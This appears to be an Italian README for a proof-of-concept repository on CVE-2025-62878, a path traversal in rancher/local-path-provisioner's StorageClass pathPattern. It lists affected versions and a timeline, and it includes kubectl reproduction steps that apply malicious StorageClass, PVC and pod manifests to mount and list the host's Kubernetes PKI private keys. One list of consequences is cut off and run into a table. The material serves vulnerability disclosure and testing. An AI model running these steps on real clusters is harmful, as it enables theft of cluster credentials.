
CVE-2025-62878
| Elemento | Valore |
|---|---|
| ID CVE | CVE-2025-62878 |
| ID GHSA | GHSA-jr3w-9vfr-c746 |
| Gravità | Critico (CVSS 10.0) |
| CWE | CWE-23 (Relative Path Traversal) |
| Componente interessato | rancher/local-path-provisioner |
| Versioni interessate | v0.0.27 ~ v0.0.32 |
| Versioni corrette | v0.0.33+ |
Esiste una vulnerabilità di path traversal nel parametro pathPattern di StorageClass. Un utente malintenzionato può manipolare pathPattern utilizzando elementi di percorso relativi (es. ../) per creare PersistentVolumes che puntano a posizioni arbitrarie sul nodo host, bypassando la restrizione della directory di base configurata.
Ciò consente agli attaccanti di:
/etc/kubernetes/pki/)| Versione | Data di rilascio | Supporto pathPattern | Vulnerabile |
|---|---|---|---|
| v0.0.26 | 2023-12-03 | No | Sicuro (funzionalità non esistente) |
| v0.0.27 | 2024-05-29 | Sì | Vulnerabile |
| v0.0.28 | 2024-06-19 | Sì | Vulnerabile |
| v0.0.29 | 2024-09-03 | Sì | Vulnerabile |
| v0.0.30 | 2024-10-07 | Sì | Vulnerabile |
| v0.0.31 | 2025-01-24 | Sì | Vulnerabile |
| v0.0.32 | 2025-07-31 | Sì | Vulnerabile |
| v0.0.33 | 2025-12-25 | Sì | Corretto |
| v0.0.34 | 2026-01-06 | Sì | Corretto |
Nota: L'avviso ufficiale di GitHub indica che "< 0.0.34" è interessato, ma i nostri test confermano:
| Evento | Data |
|---|---|
| Introduzione funzionalità pathPattern | 2024-05-26 (commit af85381) |
| Prima versione vulnerabile (v0.0.27) | 2024-05-29 |
| Commit di correzione | 2025-12-24 (commit 1ed6b54) |
| Prima versione corretta (v0.0.33) | 2025-12-25 |
| Pubblicazione CVE | 2026-02-04 |
Vedi la directory exploit/ per i passaggi di riproduzione dettagliati e gli script.
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
Aggiorna a v0.0.33 o successiva:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml